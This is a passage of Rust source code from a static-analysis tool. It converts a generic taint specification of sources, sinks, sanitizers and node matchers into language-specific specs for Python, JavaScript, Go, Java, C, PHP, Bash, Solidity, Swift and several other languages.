        GenericMatcher::MemberAssign { field, description } => {
            python_taint::NodeMatcher::MemberAssign {
                field: field.clone(),
                description: description.clone(),
            }
        }
        GenericMatcher::BinopFormat { description } => python_taint::NodeMatcher::BinopFormat {
            description: description.clone(),
        },
        GenericMatcher::ObjectLiteralValue { description } => {
            python_taint::NodeMatcher::ObjectLiteralValue {
                description: description.clone(),
            }
        }
        GenericMatcher::ReturnValue { description } => python_taint::NodeMatcher::ReturnValue {
            description: description.clone(),
        },
    }
}

/// Convert the generic spec into a JavaScript taint spec.
fn to_js_spec(g: &GenericSpec) -> javascript_taint::TaintSpec {
    javascript_taint::TaintSpec {
        sources: g.sources.iter().map(to_js_matcher).collect(),
        sinks: g.sinks.iter().map(to_js_matcher).collect(),
        sanitizers: g.sanitizers.iter().map(to_js_matcher).collect(),
    }
}

fn to_js_matcher(m: &GenericMatcher) -> javascript_taint::NodeMatcher {
    match m {
        GenericMatcher::Attribute {
            root,
            field,
            description,
        } => javascript_taint::NodeMatcher::Attribute {
            root: root.clone(),
            field: field.clone(),
            description: description.clone(),
        },
        GenericMatcher::Call {
            canonical,
            description,
        } => javascript_taint::NodeMatcher::Call {
            canonical: canonical.clone(),
            description: description.clone(),
        },
        GenericMatcher::ParamName { names, description } => {
            javascript_taint::NodeMatcher::ParamName {
                names: names.clone(),
                description: description.clone(),
            }
        }
        GenericMatcher::MethodName {
            method,
            description,
        } => javascript_taint::NodeMatcher::MethodName {
            method: method.clone(),
            description: description.clone(),
        },
        GenericMatcher::CallRegex { regex, description } => {
            javascript_taint::NodeMatcher::CallRegex {
                regex: regex.clone(),
                description: description.clone(),
            }
        }
        GenericMatcher::MethodNameRegex { regex, description } => {
            javascript_taint::NodeMatcher::MethodNameRegex {
                regex: regex.clone(),
                description: description.clone(),
            }
        }
        GenericMatcher::ReceiverCall {
            receiver,
            description,
        } => javascript_taint::NodeMatcher::ReceiverCall {
            receiver: receiver.clone(),
            description: description.clone(),
        },
        GenericMatcher::FieldName { field, description } => {
            javascript_taint::NodeMatcher::FieldName {
                field: field.clone(),
                description: description.clone(),
            }
        }
        GenericMatcher::Subscript { base, description } => {
            javascript_taint::NodeMatcher::Subscript {
                base: base.clone(),
                description: description.clone(),
            }
        }
        GenericMatcher::MemberAssign { field, description } => {
            javascript_taint::NodeMatcher::MemberAssign {
                field: field.clone(),
                description: description.clone(),
            }
        }
        GenericMatcher::BinopFormat { description } => javascript_taint::NodeMatcher::BinopFormat {
            description: description.clone(),
        },
        GenericMatcher::ObjectLiteralValue { description } => {
            javascript_taint::NodeMatcher::ObjectLiteralValue {
                description: description.clone(),
            }
        }
        GenericMatcher::ReturnValue { description } => javascript_taint::NodeMatcher::ReturnValue {
            description: description.clone(),
        },
    }
}

/// Convert the generic spec into a Go taint spec.
fn to_go_spec(g: &GenericSpec) -> go_taint::TaintSpec {
    go_taint::TaintSpec {
        sources: g.sources.iter().map(to_go_matcher).collect(),
        sinks: g.sinks.iter().map(to_go_matcher).collect(),
        sanitizers: g.sanitizers.iter().map(to_go_matcher).collect(),
    }
}

fn to_go_matcher(m: &GenericMatcher) -> go_taint::NodeMatcher {
    match m {
        GenericMatcher::Attribute {
            root,
            field,
            description,
        } => go_taint::NodeMatcher::Attribute {
            root: root.clone(),
            field: field.clone(),
            description: description.clone(),
        },
        GenericMatcher::Call {
            canonical,
            description,
        } => go_taint::NodeMatcher::Call {
            canonical: canonical.clone(),
            description: description.clone(),
        },
        GenericMatcher::ParamName { names, description } => go_taint::NodeMatcher::ParamName {
            names: names.clone(),
            description: description.clone(),
        },
        GenericMatcher::MethodName {
            method,
            description,
        } => go_taint::NodeMatcher::MethodName {
            method: method.clone(),
            description: description.clone(),
        },
        GenericMatcher::CallRegex { regex, description } => go_taint::NodeMatcher::CallRegex {
            regex: regex.clone(),
            description: description.clone(),
        },
        GenericMatcher::MethodNameRegex { regex, description } => {
            go_taint::NodeMatcher::MethodNameRegex {
                regex: regex.clone(),
                description: description.clone(),
            }
        }
        GenericMatcher::ReceiverCall {
            receiver,
            description,
        } => go_taint::NodeMatcher::ReceiverCall {
            receiver: receiver.clone(),
            description: description.clone(),
        },
        GenericMatcher::FieldName { field, description } => go_taint::NodeMatcher::FieldName {
            field: field.clone(),
            description: description.clone(),
        },
        GenericMatcher::Subscript { base, description } => go_taint::NodeMatcher::Subscript {
            base: base.clone(),
            description: description.clone(),
        },
        // MemberAssign is JS-specific; included in the spec for completeness but
        // the Go engine ignores it.
        GenericMatcher::MemberAssign { field, description } => {
            go_taint::NodeMatcher::MemberAssign {
                field: field.clone(),
                description: description.clone(),
            }
        }
        GenericMatcher::BinopFormat { description } => go_taint::NodeMatcher::BinopFormat {
            description: description.clone(),
        },
        GenericMatcher::ObjectLiteralValue { description } => {
            go_taint::NodeMatcher::ObjectLiteralValue {
                description: description.clone(),
            }
        }
        GenericMatcher::ReturnValue { description } => go_taint::NodeMatcher::ReturnValue {
            description: description.clone(),
        },
    }
}

/// Convert the generic spec into a Java taint spec.
fn to_java_spec(g: &GenericSpec) -> java_taint::TaintSpec {
    java_taint::TaintSpec {
        sources: g.sources.iter().map(to_java_matcher).collect(),
        sinks: g.sinks.iter().map(to_java_matcher).collect(),
        sanitizers: g.sanitizers.iter().map(to_java_matcher).collect(),
    }
}

fn to_java_matcher(m: &GenericMatcher) -> java_taint::NodeMatcher {
    match m {
        GenericMatcher::Attribute {
            root,
            field,
            description,
        } => java_taint::NodeMatcher::Attribute {
            root: root.clone(),
            field: field.clone(),
            description: description.clone(),
        },
        GenericMatcher::Call {
            canonical,
            description,
        } => java_taint::NodeMatcher::Call {
            canonical: canonical.clone(),
            description: description.clone(),
        },
        GenericMatcher::ParamName { names, description } => java_taint::NodeMatcher::ParamName {
            names: names.clone(),
            description: description.clone(),
        },
        GenericMatcher::MethodName {
            method,
            description,
        } => java_taint::NodeMatcher::MethodName {
            method: method.clone(),
            description: description.clone(),
        },
        GenericMatcher::CallRegex { regex, description } => java_taint::NodeMatcher::CallRegex {
            regex: regex.clone(),
            description: description.clone(),
        },
        GenericMatcher::MethodNameRegex { regex, description } => {
            java_taint::NodeMatcher::MethodNameRegex {
                regex: regex.clone(),
                description: description.clone(),
            }
        }
        GenericMatcher::ReceiverCall {
            receiver,
            description,
        } => java_taint::NodeMatcher::ReceiverCall {
            receiver: receiver.clone(),
            description: description.clone(),
        },
        GenericMatcher::FieldName { field, description } => java_taint::NodeMatcher::FieldName {
            field: field.clone(),
            description: description.clone(),
        },
        GenericMatcher::Subscript { base, description } => java_taint::NodeMatcher::Subscript {
            base: base.clone(),
            description: description.clone(),
        },
        // MemberAssign is JS-specific; included in the spec for completeness but
        // the Java engine ignores it.
        GenericMatcher::MemberAssign { field, description } => {
            java_taint::NodeMatcher::MemberAssign {
                field: field.clone(),
                description: description.clone(),
            }
        }
        GenericMatcher::BinopFormat { description } => java_taint::NodeMatcher::BinopFormat {
            description: description.clone(),
        },
        GenericMatcher::ObjectLiteralValue { description } => {
            java_taint::NodeMatcher::ObjectLiteralValue {
                description: description.clone(),
            }
        }
        GenericMatcher::ReturnValue { description } => java_taint::NodeMatcher::ReturnValue {
            description: description.clone(),
        },
    }
}

/// Convert the generic spec into a C taint spec.
fn to_c_spec(g: &GenericSpec) -> c_taint::TaintSpec {
    c_taint::TaintSpec {
        sources: g.sources.iter().map(to_c_matcher).collect(),
        sinks: g.sinks.iter().map(to_c_matcher).collect(),
        sanitizers: g.sanitizers.iter().map(to_c_matcher).collect(),
    }
}

fn to_c_matcher(m: &GenericMatcher) -> c_taint::NodeMatcher {
    match m {
        GenericMatcher::Attribute {
            root,
            field,
            description,
        } => c_taint::NodeMatcher::Attribute {
            root: root.clone(),
            field: field.clone(),
            description: description.clone(),
        },
        GenericMatcher::Call {
            canonical,
            description,
        } => c_taint::NodeMatcher::Call {
            canonical: canonical.clone(),
            description: description.clone(),
        },
        GenericMatcher::ParamName { names, description } => c_taint::NodeMatcher::ParamName {
            names: names.clone(),
            description: description.clone(),
        },
        // C has no OOP method calls; include the matcher for spec completeness but
        // the C engine only recognises `NodeMatcher::Call`, so it will never fire.
        GenericMatcher::MethodName {
            method,
            description,
        } => c_taint::NodeMatcher::MethodName {
            method: method.clone(),
            description: description.clone(),
        },
        GenericMatcher::CallRegex { regex, description } => c_taint::NodeMatcher::CallRegex {
            regex: regex.clone(),
            description: description.clone(),
        },
        GenericMatcher::MethodNameRegex { regex, description } => {
            c_taint::NodeMatcher::MethodNameRegex {
                regex: regex.clone(),
                description: description.clone(),
            }
        }
        // ReceiverCall (`os.$METHOD(...)`) has no meaning in plain C; carried
        // in the spec but the C engine no-ops it.
        GenericMatcher::ReceiverCall {
            receiver,
            description,
        } => c_taint::NodeMatcher::ReceiverCall {
            receiver: receiver.clone(),
            description: description.clone(),
        },
        // FieldName (property read) is not meaningful in plain C; carried in
        // the spec for completeness but the C engine no-ops it (like
        // MemberAssign below).
        GenericMatcher::FieldName { field, description } => c_taint::NodeMatcher::FieldName {
            field: field.clone(),
            description: description.clone(),
        },
        // Subscript (index access) is not meaningful in plain C taint flow;
        // carried in the spec but the C engine no-ops it.
        GenericMatcher::Subscript { base, description } => c_taint::NodeMatcher::Subscript {
            base: base.clone(),
            description: description.clone(),
        },
        // MemberAssign is JS-specific; included in the spec for completeness but
        // the C engine ignores it.
        GenericMatcher::MemberAssign { field, description } => c_taint::NodeMatcher::MemberAssign {
            field: field.clone(),
            description: description.clone(),
        },
        GenericMatcher::BinopFormat { description } => c_taint::NodeMatcher::BinopFormat {
            description: description.clone(),
        },
        GenericMatcher::ObjectLiteralValue { description } => {
            c_taint::NodeMatcher::ObjectLiteralValue {
                description: description.clone(),
            }
        }
        GenericMatcher::ReturnValue { description } => c_taint::NodeMatcher::ReturnValue {
            description: description.clone(),
        },
    }
}

/// Convert the generic spec into a Kotlin taint spec.
fn to_kotlin_spec(g: &GenericSpec) -> kotlin_taint::TaintSpec {
    kotlin_taint::TaintSpec {
        sources: g.sources.iter().map(to_kotlin_matcher).collect(),
        sinks: g.sinks.iter().map(to_kotlin_matcher).collect(),
        sanitizers: g.sanitizers.iter().map(to_kotlin_matcher).collect(),
    }
}

fn to_kotlin_matcher(m: &GenericMatcher) -> kotlin_taint::NodeMatcher {
    match m {
        GenericMatcher::Attribute {
            root,
            field,
            description,
        } => kotlin_taint::NodeMatcher::Attribute {
            root: root.clone(),
            field: field.clone(),
            description: description.clone(),
        },
        GenericMatcher::Call {
            canonical,
            description,
        } => kotlin_taint::NodeMatcher::Call {
            canonical: canonical.clone(),
            description: description.clone(),
        },
        GenericMatcher::ParamName { names, description } => kotlin_taint::NodeMatcher::ParamName {
            names: names.clone(),
            description: description.clone(),
        },
        GenericMatcher::MethodName {
            method,
            description,
        } => kotlin_taint::NodeMatcher::MethodName {
            method: method.clone(),
            description: description.clone(),
        },
        GenericMatcher::CallRegex { regex, description } => kotlin_taint::NodeMatcher::CallRegex {
            regex: regex.clone(),
            description: description.clone(),
        },
        GenericMatcher::MethodNameRegex { regex, description } => {
            kotlin_taint::NodeMatcher::MethodNameRegex {
                regex: regex.clone(),
                description: description.clone(),
            }
        }
        GenericMatcher::ReceiverCall {
            receiver,
            description,
        } => kotlin_taint::NodeMatcher::ReceiverCall {
            receiver: receiver.clone(),
            description: description.clone(),
        },
        GenericMatcher::FieldName { field, description } => kotlin_taint::NodeMatcher::FieldName {
            field: field.clone(),
            description: description.clone(),
        },
        GenericMatcher::Subscript { base, description } => kotlin_taint::NodeMatcher::Subscript {
            base: base.clone(),
            description: description.clone(),
        },
        // MemberAssign is JS-specific; included in the spec for completeness but
        // the Kotlin engine ignores it.
        GenericMatcher::MemberAssign { field, description } => {
            kotlin_taint::NodeMatcher::MemberAssign {
                field: field.clone(),
                description: description.clone(),
            }
        }
        GenericMatcher::BinopFormat { description } => kotlin_taint::NodeMatcher::BinopFormat {
            description: description.clone(),
        },
        GenericMatcher::ObjectLiteralValue { description } => {
            kotlin_taint::NodeMatcher::ObjectLiteralValue {
                description: description.clone(),
            }
        }
        GenericMatcher::ReturnValue { description } => kotlin_taint::NodeMatcher::ReturnValue {
            description: description.clone(),
        },
    }
}

/// Convert the generic spec into a Ruby taint spec.
fn to_ruby_spec(g: &GenericSpec) -> ruby_taint::TaintSpec {
    ruby_taint::TaintSpec {
        sources: g.sources.iter().map(to_ruby_matcher).collect(),
        sinks: g.sinks.iter().map(to_ruby_matcher).collect(),
        sanitizers: g.sanitizers.iter().map(to_ruby_matcher).collect(),
    }
}

fn to_ruby_matcher(m: &GenericMatcher) -> ruby_taint::NodeMatcher {
    match m {
        GenericMatcher::Attribute {
            root,
            field,
            description,
        } => ruby_taint::NodeMatcher::Attribute {
            root: root.clone(),
            field: field.clone(),
            description: description.clone(),
        },
        GenericMatcher::Call {
            canonical,
            description,
        } => ruby_taint::NodeMatcher::Call {
            canonical: canonical.clone(),
            description: description.clone(),
        },
        GenericMatcher::ParamName { names, description } => ruby_taint::NodeMatcher::ParamName {
            names: names.clone(),
            description: description.clone(),
        },
        GenericMatcher::MethodName {
            method,
            description,
        } => ruby_taint::NodeMatcher::MethodName {
            method: method.clone(),
            description: description.clone(),
        },
        GenericMatcher::CallRegex { regex, description } => ruby_taint::NodeMatcher::CallRegex {
            regex: regex.clone(),
            description: description.clone(),
        },
        GenericMatcher::MethodNameRegex { regex, description } => {
            ruby_taint::NodeMatcher::MethodNameRegex {
                regex: regex.clone(),
                description: description.clone(),
            }
        }
        GenericMatcher::ReceiverCall {
            receiver,
            description,
        } => ruby_taint::NodeMatcher::ReceiverCall {
            receiver: receiver.clone(),
            description: description.clone(),
        },
        GenericMatcher::FieldName { field, description } => ruby_taint::NodeMatcher::FieldName {
            field: field.clone(),
            description: description.clone(),
        },
        GenericMatcher::Subscript { base, description } => ruby_taint::NodeMatcher::Subscript {
            base: base.clone(),
            description: description.clone(),
        },
        // MemberAssign is JS-specific; included in the spec for completeness but
        // the Ruby engine ignores it.
        GenericMatcher::MemberAssign { field, description } => {
            ruby_taint::NodeMatcher::MemberAssign {
                field: field.clone(),
                description: description.clone(),
            }
        }
        GenericMatcher::BinopFormat { description } => ruby_taint::NodeMatcher::BinopFormat {
            description: description.clone(),
        },
        GenericMatcher::ObjectLiteralValue { description } => {
            ruby_taint::NodeMatcher::ObjectLiteralValue {
                description: description.clone(),
            }
        }
        GenericMatcher::ReturnValue { description } => ruby_taint::NodeMatcher::ReturnValue {
            description: description.clone(),
        },
    }
}

/// Convert the generic spec into a PHP taint spec.
fn to_php_spec(g: &GenericSpec) -> php_taint::TaintSpec {
    php_taint::TaintSpec {
        sources: g.sources.iter().map(to_php_matcher).collect(),
        sinks: g.sinks.iter().map(to_php_matcher).collect(),
        sanitizers: g.sanitizers.iter().map(to_php_matcher).collect(),
    }
}

/// Convert the generic spec into a C# taint spec.
fn to_csharp_spec(g: &GenericSpec) -> csharp_taint::TaintSpec {
    csharp_taint::TaintSpec {
        sources: g.sources.iter().map(to_csharp_matcher).collect(),
        sinks: g.sinks.iter().map(to_csharp_matcher).collect(),
        sanitizers: g.sanitizers.iter().map(to_csharp_matcher).collect(),
    }
}

fn to_csharp_matcher(m: &GenericMatcher) -> csharp_taint::NodeMatcher {
    match m {
        GenericMatcher::Attribute {
            root,
            field,
            description,
        } => csharp_taint::NodeMatcher::Attribute {
            root: root.clone(),
            field: field.clone(),
            description: description.clone(),
        },
        GenericMatcher::Call {
            canonical,
            description,
        } => csharp_taint::NodeMatcher::Call {
            canonical: canonical.clone(),
            description: description.clone(),
        },
        GenericMatcher::ParamName { names, description } => csharp_taint::NodeMatcher::ParamName {
            names: names.clone(),
            description: description.clone(),
        },
        GenericMatcher::MethodName {
            method,
            description,
        } => csharp_taint::NodeMatcher::MethodName {
            method: method.clone(),
            description: description.clone(),
        },
        GenericMatcher::CallRegex { regex, description } => csharp_taint::NodeMatcher::CallRegex {
            regex: regex.clone(),
            description: description.clone(),
        },
        GenericMatcher::MethodNameRegex { regex, description } => {
            csharp_taint::NodeMatcher::MethodNameRegex {
                regex: regex.clone(),
                description: description.clone(),
            }
        }
        GenericMatcher::ReceiverCall {
            receiver,
            description,
        } => csharp_taint::NodeMatcher::ReceiverCall {
            receiver: receiver.clone(),
            description: description.clone(),
        },
        GenericMatcher::FieldName { field, description } => csharp_taint::NodeMatcher::FieldName {
            field: field.clone(),
            description: description.clone(),
        },
        GenericMatcher::Subscript { base, description } => csharp_taint::NodeMatcher::Subscript {
            base: base.clone(),
            description: description.clone(),
        },
        // MemberAssign is JS-specific; included in the spec for completeness but
        // the C# engine ignores it.
        GenericMatcher::MemberAssign { field, description } => {
            csharp_taint::NodeMatcher::MemberAssign {
                field: field.clone(),
                description: description.clone(),
            }
        }
        GenericMatcher::BinopFormat { description } => csharp_taint::NodeMatcher::BinopFormat {
            description: description.clone(),
        },
        GenericMatcher::ObjectLiteralValue { description } => {
            csharp_taint::NodeMatcher::ObjectLiteralValue {
                description: description.clone(),
            }
        }
        GenericMatcher::ReturnValue { description } => csharp_taint::NodeMatcher::ReturnValue {
            description: description.clone(),
        },
    }
}

/// Convert the generic spec into a Bash taint spec.
fn to_bash_spec(g: &GenericSpec) -> bash_taint::TaintSpec {
    bash_taint::TaintSpec {
        sources: g.sources.iter().map(to_bash_matcher).collect(),
        sinks: g.sinks.iter().map(to_bash_matcher).collect(),
        sanitizers: g.sanitizers.iter().map(to_bash_matcher).collect(),
    }
}

fn to_bash_matcher(m: &GenericMatcher) -> bash_taint::NodeMatcher {
    match m {
        GenericMatcher::Attribute {
            root,
            field,
            description,
        } => bash_taint::NodeMatcher::Attribute {
            root: root.clone(),
            field: field.clone(),
            description: description.clone(),
        },
        GenericMatcher::Call {
            canonical,
            description,
        } => bash_taint::NodeMatcher::Call {
            canonical: canonical.clone(),
            description: description.clone(),
        },
        GenericMatcher::ParamName { names, description } => bash_taint::NodeMatcher::ParamName {
            names: names.clone(),
            description: description.clone(),
        },
        GenericMatcher::MethodName {
            method,
            description,
        } => bash_taint::NodeMatcher::MethodName {
            method: method.clone(),
            description: description.clone(),
        },
        GenericMatcher::CallRegex { regex, description } => bash_taint::NodeMatcher::CallRegex {
            regex: regex.clone(),
            description: description.clone(),
        },
        GenericMatcher::MethodNameRegex { regex, description } => {
            bash_taint::NodeMatcher::MethodNameRegex {
                regex: regex.clone(),
                description: description.clone(),
            }
        }
        GenericMatcher::ReceiverCall {
            receiver,
            description,
        } => bash_taint::NodeMatcher::ReceiverCall {
            receiver: receiver.clone(),
            description: description.clone(),
        },
        GenericMatcher::FieldName { field, description } => bash_taint::NodeMatcher::FieldName {
            field: field.clone(),
            description: description.clone(),
        },
        GenericMatcher::Subscript { base, description } => bash_taint::NodeMatcher::Subscript {
            base: base.clone(),
            description: description.clone(),
        },
        GenericMatcher::MemberAssign { field, description } => {
            bash_taint::NodeMatcher::MemberAssign {
                field: field.clone(),
                description: description.clone(),
            }
        }
        GenericMatcher::BinopFormat { description } => bash_taint::NodeMatcher::BinopFormat {
            description: description.clone(),
        },
        GenericMatcher::ObjectLiteralValue { description } => {
            bash_taint::NodeMatcher::ObjectLiteralValue {
                description: description.clone(),
            }
        }
        GenericMatcher::ReturnValue { description } => bash_taint::NodeMatcher::ReturnValue {
            description: description.clone(),
        },
    }
}

/// Convert the generic spec into a Solidity taint spec.
fn to_solidity_spec(g: &GenericSpec) -> solidity_taint::TaintSpec {
    solidity_taint::TaintSpec {
        sources: g.sources.iter().map(to_solidity_matcher).collect(),
        sinks: g.sinks.iter().map(to_solidity_matcher).collect(),
        sanitizers: g.sanitizers.iter().map(to_solidity_matcher).collect(),
    }
}

fn to_solidity_matcher(m: &GenericMatcher) -> solidity_taint::NodeMatcher {
    match m {
        GenericMatcher::Attribute {
            root,
            field,
            description,
        } => solidity_taint::NodeMatcher::Attribute {
            root: root.clone(),
            field: field.clone(),
            description: description.clone(),
        },
        GenericMatcher::Call {
            canonical,
            description,
        } => solidity_taint::NodeMatcher::Call {
            canonical: canonical.clone(),
            description: description.clone(),
        },
        GenericMatcher::ParamName { names, description } => {
            solidity_taint::NodeMatcher::ParamName {
                names: names.clone(),
                description: description.clone(),
            }
        }
        GenericMatcher::MethodName {
            method,
            description,
        } => solidity_taint::NodeMatcher::MethodName {
            method: method.clone(),
            description: description.clone(),
        },
        GenericMatcher::CallRegex { regex, description } => {
            solidity_taint::NodeMatcher::CallRegex {
                regex: regex.clone(),
                description: description.clone(),
            }
        }
        GenericMatcher::MethodNameRegex { regex, description } => {
            solidity_taint::NodeMatcher::MethodNameRegex {
                regex: regex.clone(),
                description: description.clone(),
            }
        }
        GenericMatcher::ReceiverCall {
            receiver,
            description,
        } => solidity_taint::NodeMatcher::ReceiverCall {
            receiver: receiver.clone(),
            description: description.clone(),
        },
        GenericMatcher::FieldName { field, description } => {
            solidity_taint::NodeMatcher::FieldName {
                field: field.clone(),
                description: description.clone(),
            }
        }
        GenericMatcher::Subscript { base, description } => solidity_taint::NodeMatcher::Subscript {
            base: base.clone(),
            description: description.clone(),
        },
        GenericMatcher::MemberAssign { field, description } => {
            solidity_taint::NodeMatcher::MemberAssign {
                field: field.clone(),
                description: description.clone(),
            }
        }
        GenericMatcher::BinopFormat { description } => solidity_taint::NodeMatcher::BinopFormat {
            description: description.clone(),
        },
        GenericMatcher::ObjectLiteralValue { description } => {
            solidity_taint::NodeMatcher::ObjectLiteralValue {
                description: description.clone(),
            }
        }
        GenericMatcher::ReturnValue { description } => solidity_taint::NodeMatcher::ReturnValue {
            description: description.clone(),
        },
    }
}

/// Convert the generic spec into a Scala taint spec.
fn to_scala_spec(g: &GenericSpec) -> scala_taint::TaintSpec {
    scala_taint::TaintSpec {
        sources: g.sources.iter().map(to_scala_matcher).collect(),
        sinks: g.sinks.iter().map(to_scala_matcher).collect(),
        sanitizers: g.sanitizers.iter().map(to_scala_matcher).collect(),
    }
}

fn to_scala_matcher(m: &GenericMatcher) -> scala_taint::NodeMatcher {
    match m {
        GenericMatcher::Attribute {
            root,
            field,
            description,
        } => scala_taint::NodeMatcher::Attribute {
            root: root.clone(),
            field: field.clone(),
            description: description.clone(),
        },
        GenericMatcher::Call {
            canonical,
            description,
        } => scala_taint::NodeMatcher::Call {
            canonical: canonical.clone(),
            description: description.clone(),
        },
        GenericMatcher::ParamName { names, description } => scala_taint::NodeMatcher::ParamName {
            names: names.clone(),
            description: description.clone(),
        },
        GenericMatcher::MethodName {
            method,
            description,
        } => scala_taint::NodeMatcher::MethodName {
            method: method.clone(),
            description: description.clone(),
        },
        GenericMatcher::CallRegex { regex, description } => scala_taint::NodeMatcher::CallRegex {
            regex: regex.clone(),
            description: description.clone(),
        },
        GenericMatcher::MethodNameRegex { regex, description } => {
            scala_taint::NodeMatcher::MethodNameRegex {
                regex: regex.clone(),
                description: description.clone(),
            }
        }
        GenericMatcher::ReceiverCall {
            receiver,
            description,
        } => scala_taint::NodeMatcher::ReceiverCall {
            receiver: receiver.clone(),
            description: description.clone(),
        },
        GenericMatcher::FieldName { field, description } => scala_taint::NodeMatcher::FieldName {
            field: field.clone(),
            description: description.clone(),
        },
        GenericMatcher::Subscript { base, description } => scala_taint::NodeMatcher::Subscript {
            base: base.clone(),
            description: description.clone(),
        },
        GenericMatcher::MemberAssign { field, description } => {
            scala_taint::NodeMatcher::MemberAssign {
                field: field.clone(),
                description: description.clone(),
            }
        }
        GenericMatcher::BinopFormat { description } => scala_taint::NodeMatcher::BinopFormat {
            description: description.clone(),
        },
        GenericMatcher::ObjectLiteralValue { description } => {
            scala_taint::NodeMatcher::ObjectLiteralValue {
                description: description.clone(),
            }
        }
        GenericMatcher::ReturnValue { description } => scala_taint::NodeMatcher::ReturnValue {
            description: description.clone(),
        },
    }
}

/// Convert the generic spec into an Apex taint spec.
fn to_apex_spec(g: &GenericSpec) -> apex_taint::TaintSpec {
    apex_taint::TaintSpec {
        sources: g.sources.iter().map(to_apex_matcher).collect(),
        sinks: g.sinks.iter().map(to_apex_matcher).collect(),
        sanitizers: g.sanitizers.iter().map(to_apex_matcher).collect(),
    }
}

fn to_apex_matcher(m: &GenericMatcher) -> apex_taint::NodeMatcher {
    match m {
        GenericMatcher::Attribute {
            root,
            field,
            description,
        } => apex_taint::NodeMatcher::Attribute {
            root: root.clone(),
            field: field.clone(),
            description: description.clone(),
        },
        GenericMatcher::Call {
            canonical,
            description,
        } => apex_taint::NodeMatcher::Call {
            canonical: canonical.clone(),
            description: description.clone(),
        },
        GenericMatcher::ParamName { names, description } => apex_taint::NodeMatcher::ParamName {
            names: names.clone(),
            description: description.clone(),
        },
        GenericMatcher::MethodName {
            method,
            description,
        } => apex_taint::NodeMatcher::MethodName {
            method: method.clone(),
            description: description.clone(),
        },
        GenericMatcher::CallRegex { regex, description } => apex_taint::NodeMatcher::CallRegex {
            regex: regex.clone(),
            description: description.clone(),
        },
        GenericMatcher::MethodNameRegex { regex, description } => {
            apex_taint::NodeMatcher::MethodNameRegex {
                regex: regex.clone(),
                description: description.clone(),
            }
        }
        GenericMatcher::ReceiverCall {
            receiver,
            description,
        } => apex_taint::NodeMatcher::ReceiverCall {
            receiver: receiver.clone(),
            description: description.clone(),
        },
        GenericMatcher::FieldName { field, description } => apex_taint::NodeMatcher::FieldName {
            field: field.clone(),
            description: description.clone(),
        },
        GenericMatcher::Subscript { base, description } => apex_taint::NodeMatcher::Subscript {
            base: base.clone(),
            description: description.clone(),
        },
        GenericMatcher::MemberAssign { field, description } => {
            apex_taint::NodeMatcher::MemberAssign {
                field: field.clone(),
                description: description.clone(),
            }
        }
        GenericMatcher::BinopFormat { description } => apex_taint::NodeMatcher::BinopFormat {
            description: description.clone(),
        },
        GenericMatcher::ObjectLiteralValue { description } => {
            apex_taint::NodeMatcher::ObjectLiteralValue {
                description: description.clone(),
            }
        }
        GenericMatcher::ReturnValue { description } => apex_taint::NodeMatcher::ReturnValue {
            description: description.clone(),
        },
    }
}

/// Convert the generic spec into a Swift taint spec.
fn to_swift_spec(g: &GenericSpec) -> swift_taint::TaintSpec {
    swift_taint::TaintSpec {
        sources: g.sources.iter().map(to_swift_matcher).collect(),
        sinks: g.sinks.iter().map(to_swift_matcher).collect(),
        sanitizers: g.sanitizers.iter().map(to_swift_matcher).collect(),
    }
}

fn to_swift_matcher(m: &GenericMatcher) -> swift_taint::NodeMatcher {
    match m {
        GenericMatcher::Attribute {
            root,
            field,
            description,
        } => swift_taint::NodeMatcher::Attribute {
            root: root.clone(),
            field: field.clone(),
            description: description.clone(),
        },
        GenericMatcher::Call {
            canonical,
            description,
        } => swift_taint::NodeMatcher::Call {
            canonical: canonical.clone(),
            description: description.clone(),
        },
        GenericMatcher::ParamName { names, description } => swift_taint::NodeMatcher::ParamName {
            names: names.clone(),
            description: description.clone(),
        },
        GenericMatcher::MethodName {
            method,
            description,
        } => swift_taint::NodeMatcher::MethodName {
            method: method.clone(),
            description: description.clone(),
        },
        GenericMatcher::CallRegex { regex, description } => swift_taint::NodeMatcher::CallRegex {
            regex: regex.clone(),
            description: description.clone(),
        },
        GenericMatcher::MethodNameRegex { regex, description } => {
            swift_taint::NodeMatcher::MethodNameRegex {
                regex: regex.clone(),
                description: description.clone(),
            }
        }
        GenericMatcher::ReceiverCall {
            receiver,
            description,
        } => swift_taint::NodeMatcher::ReceiverCall {
            receiver: receiver.clone(),
            description: description.clone(),
        },
        GenericMatcher::FieldName { field, description } => swift_taint::NodeMatcher::FieldName {
            field: field.clone(),
            description: description.clone(),
        },
        GenericMatcher::Subscript { base, description } => swift_taint::NodeMatcher::Subscript {
            base: base.clone(),
            description: description.clone(),
        },
        GenericMatcher::MemberAssign { field, description } => {
            swift_taint::NodeMatcher::MemberAssign {
                field: field.clone(),
                description: description.clone(),
            }
        }
        GenericMatcher::BinopFormat { description } => swift_taint::NodeMatcher::BinopFormat {
            description: description.clone(),
        },
        GenericMatcher::ObjectLiteralValue { description } => {
            swift_taint::NodeMatcher::ObjectLiteralValue {
                description: description.clone(),
            }
        }
        GenericMatcher::ReturnValue { description } => swift_taint::NodeMatcher::ReturnValue {
            description: description.clone(),
        },
    }
}

fn to_php_matcher(m: &GenericMatcher) -> php_taint::NodeMatcher {
    match m {
        GenericMatcher::Attribute {
            root,
            field,
            description,
        } => php_taint::NodeMatcher::Attribute {
            root: root.clone(),
            field: field.clone(),
            description: description.clone(),
        },
        GenericMatcher::Call {
            canonical,
            description,
        } => php_taint::NodeMatcher::Call {
            canonical: canonical.clone(),
            description: description.clone(),
        },
        GenericMatcher::ParamName { names, description } => php_taint::NodeMatcher::ParamName {
            names: names.clone(),
            description: description.clone(),
        },
        GenericMatcher::MethodName {
            method,
            description,
        } => php_taint::NodeMatcher::MethodName {
            method: method.clone(),
            description: description.clone(),
        },
        GenericMatcher::CallRegex { regex, description } => php_taint::NodeMatcher::CallRegex {
            regex: regex.clone(),
            description: description.clone(),
        },
        GenericMatcher::MethodNameRegex { regex, description } => {
            php_taint::NodeMatcher::MethodNameRegex {
                regex: regex.clone(),
                description: description.clone(),
            }
        }
        GenericMatcher::ReceiverCall {
            receiver,
            description,
        } => php_taint::NodeMatcher::ReceiverCall {
            receiver: receiver.clone(),
            description: description.clone(),
        },
        GenericMatcher::FieldName { field, description } => php_taint::NodeMatcher::FieldName {
            field: field.clone(),
            description: description.clone(),
        },
        GenericMatcher::Subscript { base, description } => php_taint::NodeMatcher::Subscript {
            base: base.clone(),
            description: description.clone(),
        },
        // MemberAssign is JS-specific; included in the spec for completeness but
        // the PHP engine ignores it.
        GenericMatcher::MemberAssign { field, description } => {
            php_taint::NodeMatcher::MemberAssign {
                field: field.clone(),
                description: description.clone(),
            }
        }
        GenericMatcher::BinopFormat { description } => php_taint::NodeMatcher::BinopFormat {
